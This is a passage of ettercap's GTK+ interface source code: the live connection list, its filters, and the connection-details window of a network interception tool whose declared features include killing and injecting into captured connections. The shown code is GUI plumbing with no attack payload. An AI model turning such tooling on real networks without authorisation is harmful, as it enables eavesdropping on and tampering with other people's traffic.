(ip_addr_pton(thost, &host) != E_SUCCESS) { /* neither IPv4 nor IPv6 - inform user */ gtkui_message("Invalid ip address"); return; } add_ip_list(&host, EC_GBL_TARGET2); /* refresh the list */ gtkui_create_targets_array(); } static void gtkui_delete_targets(GtkWidget *widget, gpointer data) { GList *list = NULL; GtkTreeIter iter; GtkTreeModel *model; struct ip_list *il = NULL; gint *type = data; /* variable not used */ (void) widget; if (type == NULL) return; switch(*type) { case 1: DEBUG_MSG("gtkui_delete_target: list 1"); model = GTK_TREE_MODEL (liststore1); if(gtk_tree_selection_count_selected_rows(selection1) > 0) { list = gtk_tree_selection_get_selected_rows (selection1, &model); for(list = g_list_last(list); list; list = g_list_previous(list)) { gtk_tree_model_get_iter(model, &iter, list->data); gtk_tree_model_get (model, &iter, 1, &il, -1); /* remove the host from the list */ del_ip_list(&il->ip, EC_GBL_TARGET1); gtk_list_store_remove(GTK_LIST_STORE (liststore1), &iter); } } break; case 2: DEBUG_MSG("gtkui_delete_target: list 2"); model = GTK_TREE_MODEL (liststore2); if(gtk_tree_selection_count_selected_rows(selection2) > 0) { list = gtk_tree_selection_get_selected_rows (selection2, &model); for(list = g_list_last(list); list; list = g_list_previous(list)) { gtk_tree_model_get_iter(model, &iter, list->data); gtk_tree_model_get (model, &iter, 1, &il, -1); /* remove the host from the list */ del_ip_list(&il->ip, EC_GBL_TARGET2); gtk_list_store_remove(GTK_LIST_STORE (liststore2), &iter); } } break; } /* free the list of selections */ if(list) { g_list_foreach (list,(GFunc) gtk_tree_path_free, NULL); g_list_free (list); } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk/ec_gtk_view_connections.c0000644000175000017500000020036713505247364023737 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include #include #include #include /* double-linked list for fast updates to connection list */ struct row_pairs { void *conn; GtkTreeIter iter; struct row_pairs *next; struct row_pairs *prev; }; /* filter objects */ struct conn_filter { /* model handle for filtered tree */ GtkTreeModel *model; /* Host filter */ const gchar *host; /* Protocol filter */ gboolean tcp; gboolean udp; gboolean other; /* Connection state filter */ gboolean active; gboolean idle; gboolean closing; gboolean closed; gboolean killed; }; /* proto */ static void gtkui_connections_detach(GtkWidget *child); static void gtkui_connections_attach(void); static void gtkui_kill_connections(void); static gboolean refresh_connections(gpointer data); static struct row_pairs *gtkui_connections_add(struct conn_object *co, void *conn, struct row_pairs **list); static void gtkui_connection_list_row(int top, struct row_pairs *pair); static void gtkui_connection_detail(void); static void gtkui_connection_detail_destroy(GtkWidget *widget, gpointer *data); static void gtkui_connection_data(void); static void gtkui_connection_data_split(void); static void gtkui_connection_data_join(void); static void gtkui_connection_data_detach(GtkWidget *child); static void gtkui_connection_data_attach(void); static void gtkui_destroy_conndata(void); static gboolean gtkui_connections_scroll(gpointer data); static void gtkui_data_print(int buffer, char *data, int color); static void split_print(u_char *text, size_t len, struct ip_addr *L3_src); static void split_print_po(struct packet_object *po); static void join_print(u_char *text, size_t len, struct ip_addr *L3_src); static void join_print_po(struct packet_object *po); static void gtkui_connection_purge(void *conn); static void gtkui_connection_kill(void *conn); static void gtkui_connection_kill_curr_conn(void); static void gtkui_connection_inject(void); static void gtkui_inject_user(int side); static void gtkui_connection_inject_file(void); static void gtkui_inject_file(const char *filename, int side); static void set_connfilter(GtkWidget *widget, gpointer *data); static void set_connfilter_host(GtkWidget *widget, gpointer *data); static gboolean connfilter(GtkTreeModel *model, GtkTreeIter *iter, gpointer *data); extern void conntrack_lock(void); extern void conntrack_unlock(void); /*** globals ***/ /* connection list */ static struct row_pairs *connections = NULL; static GtkWidget *conns_window = NULL; static GtkWidget *treeview = NULL; /* the visible part of the GTK list */ static GtkListStore *ls_conns = NULL; /* the data part */ static GtkTreeSelection *selection = NULL; static struct conn_object *curr_conn = NULL; static struct conn_filter filter; static guint connections_idle = 0; /* connection detail window */ static guint detail_timer1 = 0; static guint detail_timer2 = 0; /* split and joined data views */ static GtkWidget *data_window = NULL; static GtkWidget *textview1 = NULL; /* visible part of data output */ static GtkWidget *textview2 = NULL; static GtkWidget *textview3 = NULL; static GtkTextBuffer *splitbuf1 = NULL; /* where data is stored */ static GtkTextBuffer *splitbuf2 = NULL; static GtkTextBuffer *joinedbuf = NULL; static GtkTextMark *endmark1 = NULL; /* marks for auto-scrolling */ static GtkTextMark *endmark2 = NULL; static GtkTextMark *endmark3 = NULL; /* keep it global, so the memory region is always the same (reallocing it) */ static u_char *dispbuf; static u_char *injectbuf; /*******************************************/ /* * the auto-refreshing list of connections */ void gtkui_show_connections(void) { GtkWidget *scrolled, *vbox, *items, *hbox, *button, *tbox; GtkWidget *context_menu, *frame, *entry, *chkb_tcp, *chkb_udp, *chkb_other; GtkWidget *chkb_active, *chkb_idle, *chkb_closing, *chkb_closed, *chkb_killed; GtkTreeModel *model; GtkToolItem *toolbutton; GtkCellRenderer *renderer; GtkTreeViewColumn *column; DEBUG_MSG("gtk_show_connections"); /* if the object already exist, set the focus to it */ if (conns_window) { if(GTK_IS_WINDOW (conns_window)) gtk_window_present(GTK_WINDOW (conns_window)); else gtkui_page_present(conns_window); return; } conns_window = gtkui_page_new("Connections", >kui_kill_connections, >kui_connections_detach); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_container_add(GTK_CONTAINER (conns_window), vbox); gtk_widget_show(vbox); /* filter bar */ hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 10, FALSE); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); frame = gtk_frame_new("Host filter"); tbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 0, FALSE); gtk_container_add(GTK_CONTAINER(frame), tbox); entry = gtk_entry_new(); g_signal_connect(G_OBJECT(entry), "activate", G_CALLBACK(set_connfilter_host), NULL); gtk_box_pack_start(GTK_BOX(tbox), entry, FALSE, FALSE, 5); toolbutton = gtk_tool_button_new_from_stock(GTK_STOCK_APPLY); g_signal_connect_swapped(G_OBJECT(toolbutton), "clicked", G_CALLBACK(set_connfilter_host), entry); gtk_box_pack_start(GTK_BOX(tbox), GTK_WIDGET(toolbutton), FALSE, FALSE, 5); filter.host = NULL; gtk_box_pack_start(GTK_BOX(hbox), frame, FALSE, FALSE, 0); frame = gtk_frame_new("Protocol filter"); tbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 0, FALSE); gtk_container_add(GTK_CONTAINER(frame), tbox); chkb_tcp = gtk_check_button_new_with_label("TCP"); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(chkb_tcp), TRUE); filter.tcp = TRUE; g_signal_connect(G_OBJECT(chkb_tcp), "toggled", G_CALLBACK(set_connfilter), &filter.tcp); gtk_box_pack_start(GTK_BOX(tbox), chkb_tcp, FALSE, FALSE, 5); chkb_udp = gtk_check_button_new_with_label("UDP"); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(chkb_udp), TRUE); filter.udp = TRUE; g_signal_connect(G_OBJECT(chkb_udp), "toggled", G_CALLBACK(set_connfilter), &filter.udp); gtk_box_pack_start(GTK_BOX(tbox), chkb_udp, FALSE, FALSE, 5); chkb_other = gtk_check_button_new_with_label("Other"); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(chkb_other), TRUE); filter.other = TRUE; g_signal_connect(G_OBJECT(chkb_other), "toggled", G_CALLBACK(set_connfilter), &filter.other); gtk_box_pack_start(GTK_BOX(tbox), chkb_other, FALSE, FALSE, 5); gtk_box_pack_start(GTK_BOX(hbox), frame, FALSE, FALSE, 0); frame = gtk_frame_new("Connection state filter"); tbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 0, FALSE); gtk_container_add(GTK_CONTAINER(frame), tbox); chkb_active = gtk_check_button_new_with_label("Active"); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(chkb_active), TRUE); filter.active = TRUE; g_signal_connect(G_OBJECT(chkb_active), "toggled", G_CALLBACK(set_connfilter), &filter.active); gtk_box_pack_start(GTK_BOX(tbox), chkb_active, FALSE, FALSE, 5); chkb_idle = gtk_check_button_new_with_label("Idle"); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(chkb_idle), TRUE); filter.idle = TRUE; g_signal_connect(G_OBJECT(chkb_idle), "toggled", G_CALLBACK(set_connfilter), &filter.idle); gtk_box_pack_start(GTK_BOX(tbox), chkb_idle, FALSE, FALSE, 5); chkb_closing = gtk_check_button_new_with_label("Closing"); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(chkb_closing), TRUE); filter.closing = TRUE; g_signal_connect(G_OBJECT(chkb_closing), "toggled", G_CALLBACK(set_connfilter), &filter.closing); gtk_box_pack_start(GTK_BOX(tbox), chkb_closing, FALSE, FALSE, 5); chkb_closed = gtk_check_button_new_with_label("Closed"); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(chkb_closed), TRUE); filter.closed = TRUE; g_signal_connect(G_OBJECT(chkb_closed), "toggled", G_CALLBACK(set_connfilter), &filter.closed); gtk_box_pack_start(GTK_BOX(tbox), chkb_closed, FALSE, FALSE, 5); chkb_killed = gtk_check_button_new_with_label("Killed"); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(chkb_killed), TRUE); filter.killed = TRUE; g_signal_connect(G_OBJECT(chkb_killed), "toggled", G_CALLBACK(set_connfilter), &filter.killed); gtk_box_pack_start(GTK_BOX(tbox), chkb_killed, FALSE, FALSE, 5); gtk_box_pack_start(GTK_BOX(hbox), frame, FALSE, FALSE, 0); gtk_widget_show_all(hbox); /* list */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); gtk_container_add(GTK_CONTAINER (scrolled), treeview); gtk_widget_show(treeview); selection = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); gtk_tree_selection_set_mode (selection, GTK_SELECTION_SINGLE); g_signal_connect (G_OBJECT (treeview), "row_activated", G_CALLBACK (gtkui_connection_data), NULL); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes (" ", renderer, "text", 0, NULL); gtk_tree_view_column_set_sort_column_id (column, 0); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Host ", renderer, "text", 1, NULL); gtk_tree_view_column_set_sort_column_id (column, 1); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Port", renderer, "text", 2, NULL); gtk_tree_view_column_set_sort_column_id (column, 2); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("-", renderer, "text", 3, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Host ", renderer, "text", 4, NULL); gtk_tree_view_column_set_sort_column_id (column, 4); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Port", renderer, "text", 5, NULL); gtk_tree_view_column_set_sort_column_id (column, 5); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Proto", renderer, "text", 6, NULL); gtk_tree_view_column_set_sort_column_id (column, 6); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("State", renderer, "text", 7, NULL); gtk_tree_view_column_set_sort_column_id (column, 7); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("TX Bytes", renderer, "text", 8, NULL); gtk_tree_view_column_set_sort_column_id (column, 8); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("RX Bytes", renderer, "text", 9, NULL); gtk_tree_view_column_set_sort_column_id (column, 9); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); #ifdef HAVE_GEOIP renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Countries", renderer, "text", 10, NULL); gtk_tree_view_column_set_sort_column_id (column, 10); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); #endif hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, TRUE); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); gtk_widget_show(hbox); button = gtk_button_new_with_mnemonic("View _Details"); g_signal_connect (G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_detail), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("_Kill Connection"); g_signal_connect (G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_kill), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("E_xpunge Connections"); g_signal_connect (G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_purge), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show(button); /* context menu */ context_menu = gtk_menu_new(); items = gtk_menu_item_new_with_label("View Details"); gtk_menu_shell_append (GTK_MENU_SHELL (context_menu), items); g_signal_connect (G_OBJECT (items), "activate", G_CALLBACK (gtkui_connection_detail), NULL); gtk_widget_show (items); items = gtk_menu_item_new_with_label("Kill Connection"); gtk_menu_shell_append (GTK_MENU_SHELL (context_menu), items); g_signal_connect (G_OBJECT (items), "activate", G_CALLBACK (gtkui_connection_kill), NULL); gtk_widget_show (items); g_signal_connect(G_OBJECT(treeview), "button-press-event", G_CALLBACK(gtkui_context_menu), context_menu); /* initialize the list */ refresh_connections(NULL); /* init filter model handle */ filter.model = gtk_tree_model_filter_new(GTK_TREE_MODEL(ls_conns), NULL); gtk_tree_model_filter_set_visible_func(GTK_TREE_MODEL_FILTER(filter.model), (GtkTreeModelFilterVisibleFunc)connfilter, NULL, NULL); /* sorting model has to be explicitely created from the filtered model to support both */ model = gtk_tree_model_sort_new_with_model(filter.model); /* link the Tree Model with the Tree View */ gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), model); /* refresh the list every 1000 ms */ /* gtk_idle_add refreshes too fast, uses all cpu */ connections_idle = g_timeout_add(1000, refresh_connections, NULL); gtk_widget_show(conns_window); } /* callback for detaching the tab */ void gtkui_connections_detach(GtkWidget *child) { conns_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW (conns_window), "Live connections"); gtk_window_set_default_size(GTK_WINDOW (conns_window), 500, 250); g_signal_connect(G_OBJECT(conns_window), "delete_event", G_CALLBACK(gtkui_kill_connections), NULL); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(conns_window, gtkui_connections_attach); gtk_container_add(GTK_CONTAINER (conns_window), child); gtk_window_present(GTK_WINDOW (conns_window)); } /* callback for attaching the tab */ static void gtkui_connections_attach(void) { gtkui_kill_connections(); gtkui_show_connections(); } /* connection list closed */ static void gtkui_kill_connections(void) { DEBUG_MSG("gtk_kill_connections"); g_source_remove(connections_idle); gtk_widget_destroy(conns_window); conns_window = NULL; } /* for keeping the connection list in sync with the conntrack list */ static gboolean refresh_connections(gpointer data) { struct row_pairs *lastconn = NULL, *cache = NULL; GtkTreeModel *model = GTK_TREE_MODEL (ls_conns); void *list, *next, *listend; struct conn_object *conn; /* stores connection details */ GtkTreeIter iter; /* points to a specific row */ char flags[2], status[8]; unsigned int tx = 0, rx = 0; struct row_pairs *row = NULL, *nextrow = NULL, top, bottom; /* variable not used */ (void) data; /* init strings */ memset(&flags, 0, sizeof(flags)); memset(&status, 0, sizeof(status)); /* make sure the list has been created and window is visible */ if(ls_conns) { if (!gtk_widget_get_visible(conns_window)) return(FALSE); } else { /* Columns: Flags, Host, Port, "-", Host, Port, Proto, State, TX Bytes, RX Bytes, Countries, (hidden) pointer */ ls_conns = gtk_list_store_new (12, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_UINT, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_UINT, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_UINT, G_TYPE_UINT, G_TYPE_STRING, G_TYPE_POINTER); connections = NULL; } /* remove old connections */ for(row = connections; row; row = nextrow) { nextrow = row->next; if(conntrack_get(0, row->conn, NULL) == NULL) { /* remove row from the GTK list */ gtk_list_store_remove(GTK_LIST_STORE(ls_conns), &row->iter); /* remove pointers from the linked-list and free */ if(row->next) row->next->prev = row->prev; if(row->prev) row->prev->next = row->next; else connections = row->next; SAFE_FREE(row); } if(row) lastconn = row; } /* make sure we have a place to start searching for new rows */ if(!lastconn) { listend = conntrack_get(0, NULL, NULL); if(listend == NULL) return(TRUE); } else { listend = lastconn->conn; } /* add new connections */ for(list = conntrack_get(+1, listend, NULL); list; list = next) { next = conntrack_get(+1, list, &conn); cache = gtkui_connections_add(conn, list, &connections); if(cache) lastconn = cache; } /* find the first and last visible rows */ gtkui_connection_list_row(1, &top); gtkui_connection_list_row(0, &bottom); if(top.conn == NULL) return(TRUE); iter = top.iter; /* copy iter by value */ /* update visible part of list */ do { /* get the conntrack pointer for this row */ gtk_tree_model_get (model, &iter, 11, &list, -1); conntrack_get(0, list, &conn); /* extract changing values from conntrack_print string */ conntrack_flagstr(conn, flags, sizeof(flags)); conntrack_statusstr(conn, status, sizeof(status)); tx = conn->tx; rx = conn->rx; gtk_list_store_set (ls_conns, &iter, 0, flags, 7, status, 8, tx, 9, rx, -1); /* when we reach the bottom of the visible part, stop updating */ if(bottom.conn == list) break; } while(gtk_tree_model_iter_next(model, &iter)); /* finnaly apply the filter */ gtk_tree_model_filter_refilter(GTK_TREE_MODEL_FILTER(filter.model)); return(TRUE); } static struct row_pairs *gtkui_connections_add(struct conn_object *co, void *conn, struct row_pairs **list) { GtkTreeIter iter; char flags[2], src[MAX_ASCII_ADDR_LEN], dst[MAX_ASCII_ADDR_LEN]; char proto[4], status[8], ccodes[8]; unsigned int src_port = 0, dst_port = 0, tx = 0, rx = 0; struct row_pairs *row = NULL; /* even if list is empty, we need a pointer to the NULL pointer */ /* so we can start a list */ if(!list) return(NULL); /* init strings */ memset(&flags, 0, sizeof(flags)); memset(&proto, 0, sizeof(proto)); memset(&src, 0, sizeof(src)); memset(&dst, 0, sizeof(dst)); memset(&status, 0, sizeof(status)); memset(&ccodes, 0, sizeof(ccodes)); /* copy data from conntrack_print string */ conntrack_flagstr(co, flags, sizeof(flags)); conntrack_statusstr(co, status, sizeof(status)); conntrack_protostr(co, proto, sizeof(proto)); conntrack_countrystr(co, ccodes, sizeof(ccodes)); ip_addr_ntoa(&co->L3_addr1, src); ip_addr_ntoa(&co->L3_addr2, dst); src_port = ntohs(co->L4_addr1); dst_port = ntohs(co->L4_addr2); tx = co->tx; rx = co->rx; /* add it to GTK list */ gtk_list_store_append (ls_conns, &iter); gtk_list_store_set (ls_conns, &iter, 0, flags, 1, src, 2, src_port, 3, "-", 4, dst, 5, dst_port, 6, proto, 7, status, 8, tx, 9, rx, 10, ccodes, 11, conn, -1); /* and add it to our linked list */ if(!*list) { row = malloc(sizeof(struct row_pairs)); if(row == NULL) { USER_MSG("Failed create new connection row\n"); DEBUG_MSG("gktui_connections_add: failed to allocate memory for a new row"); } row->prev = NULL; } else { for(row = *list; row && row->next; row = row->next); row->next = malloc(sizeof(struct row_pairs)); if(row->next == NULL) { USER_MSG("Failed create new connection row\n"); DEBUG_MSG("gktui_connections_add: failed to allocate memory for a new row"); } row->next->prev = row; row = row->next; } row->conn = conn; row->iter = iter; row->next = NULL; /* in case this was the first list entry */ if(!*list) *list = row; return(row); } /* * get the top or bottom visible row in the connection list * returns TOP row if (int top) is > 0 and list is not empty * returns BOTTOM row if (int top) is 0 and visible area is full */ static void gtkui_connection_list_row(int top, struct row_pairs *pair) { GtkTreeIter iter; /* points to a specific row */ GtkTreePath *path = NULL; /* for finding the first visible row */ GtkTreeModel *model = NULL; /* points to the list data */ GdkRectangle rect; /* holds coordinates of visible rows */ int wx = 0, wy = 0; /* for converting tree view coords to widget coords */ void *row = NULL; if(!ls_conns || !pair) return; /* in case we don't get a row */ pair->conn = NULL; model = GTK_TREE_MODEL (ls_conns); if(gtk_tree_model_get_iter_first(model, &iter)) { gtk_tree_view_get_visible_rect(GTK_TREE_VIEW(treeview), &rect); /* get the first visible row */ gtk_tree_view_convert_bin_window_to_widget_coords(GTK_TREE_VIEW(treeview), rect.x, (top)?rect.y:rect.height, &wx, &wy); path = gtk_tree_path_new(); if(gtk_tree_view_get_path_at_pos(GTK_TREE_VIEW(treeview), wx+2, (top)?wy+2:wy-2, &path, NULL, NULL, NULL)) { gtk_tree_model_get_iter(model, &iter, path); gtk_tree_model_get (model, &iter, 11, &row, -1); pair->iter = iter; pair->conn = row; } if(path) gtk_tree_path_free(path); } return; } /* * details for a connection */ static void gtkui_connection_detail(void) { GtkWidget *dwindow, *vbox, *hbox, *table, *label, *button; GtkTreeIter iter; GtkTreeModel *model; struct conn_tail *c = NULL; char tmp[MAX_ASCII_ADDR_LEN]; char name[MAX_HOSTNAME_LEN]; gchar *str, *markup; guint nrows = 14, ncols = 3, row = 0, col = 0; DEBUG_MSG("gtk_connection_detail"); model = GTK_TREE_MODEL (ls_conns); if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (selection), &model, &iter)) { gtk_tree_model_get (model, &iter, 11, &c, -1); } else return; /* nothing is selected */ if(!c || !c->co) return; dwindow = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW(dwindow), "Connection Details"); gtk_window_set_modal(GTK_WINDOW(dwindow), TRUE); gtk_window_set_transient_for(GTK_WINDOW(dwindow), GTK_WINDOW(window)); gtk_window_set_position(GTK_WINDOW(dwindow), GTK_WIN_POS_CENTER_ON_PARENT); gtk_container_set_border_width(GTK_CONTAINER(dwindow), 5); g_signal_connect(G_OBJECT(dwindow), "delete-event", G_CALLBACK(gtkui_connection_detail_destroy), NULL); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 5, FALSE); gtk_container_add(GTK_CONTAINER(dwindow), vbox); table = gtk_table_new(nrows, ncols, FALSE); gtk_table_set_row_spacings(GTK_TABLE(table), 5); gtk_table_set_col_spacings(GTK_TABLE(table), 5); gtk_container_set_border_width(GTK_CONTAINER(table), 8); gtk_box_pack_start(GTK_BOX(vbox), table, FALSE, FALSE, 0); /* Layer 2 Information */ label = gtk_label_new("Layer 2 Information:"); markup = g_markup_printf_escaped("%s", gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+3, row, row+1, GTK_FILL, GTK_FILL, 0, 0); g_free(markup); row++; label = gtk_label_new("Source MAC address:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(mac_addr_ntoa(c->co->L2_addr1, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); row++; label = gtk_label_new("Destination MAC address:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(mac_addr_ntoa(c->co->L2_addr2, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); /* Layer 3 information */ row++; label = gtk_label_new("Layer 3 Information:"); markup = g_markup_printf_escaped("%s", gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+3, row, row+1, GTK_FILL, GTK_FILL, 0, 0); gtk_table_set_row_spacing(GTK_TABLE(table), row-1, 10); g_free(markup); row++; label = gtk_label_new("Source IP address:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(ip_addr_ntoa(&c->co->L3_addr1, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); if (EC_GBL_OPTIONS->resolve) { row++; label = gtk_label_new("Source hostname:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new("resolving..."); if (host_iptoa(&c->co->L3_addr1, name) == -E_NOMATCH) { /* IP not yet resolved - keep trying asyncronously */ struct resolv_object *ro; SAFE_CALLOC(ro, 1, sizeof(struct resolv_object)); ro->type = GTK_TYPE_LABEL; ro->widget = label; ro->ip = &c->co->L3_addr1; detail_timer1 = g_timeout_add(1000, gtkui_iptoa_deferred, ro); } else { gtk_label_set_text(GTK_LABEL(label), name); } gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); } #ifdef HAVE_GEOIP if (EC_GBL_CONF->geoip_support_enable) { row++; label = gtk_label_new("Source location:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(geoip_country_by_ip(&c->co->L3_addr1)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); } #endif row++; label = gtk_label_new("Destination IP address:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(ip_addr_ntoa(&c->co->L3_addr2, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); if (EC_GBL_OPTIONS->resolve) { row++; label = gtk_label_new("Destination hostname:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new("resolving..."); if (host_iptoa(&c->co->L3_addr2, name) == -E_NOMATCH) { /* IP not yet resolved - keep trying asyncronously */ struct resolv_object *ro; SAFE_CALLOC(ro, 1, sizeof(struct resolv_object)); ro->type = GTK_TYPE_LABEL; ro->widget = label; ro->ip = &c->co->L3_addr2; detail_timer2 = g_timeout_add(1000, gtkui_iptoa_deferred, ro); } else { gtk_label_set_text(GTK_LABEL(label), name); } gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); } #ifdef HAVE_GEOIP if (EC_GBL_CONF->geoip_support_enable) { row++; label = gtk_label_new("Destination location:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(geoip_country_by_ip(&c->co->L3_addr2)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); } #endif /* Layer 4 information */ row++; label = gtk_label_new("Layer 4 Information:"); markup = g_markup_printf_escaped("%s", gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, col, col+3, row, row+1, GTK_FILL, GTK_FILL, 0, 0); 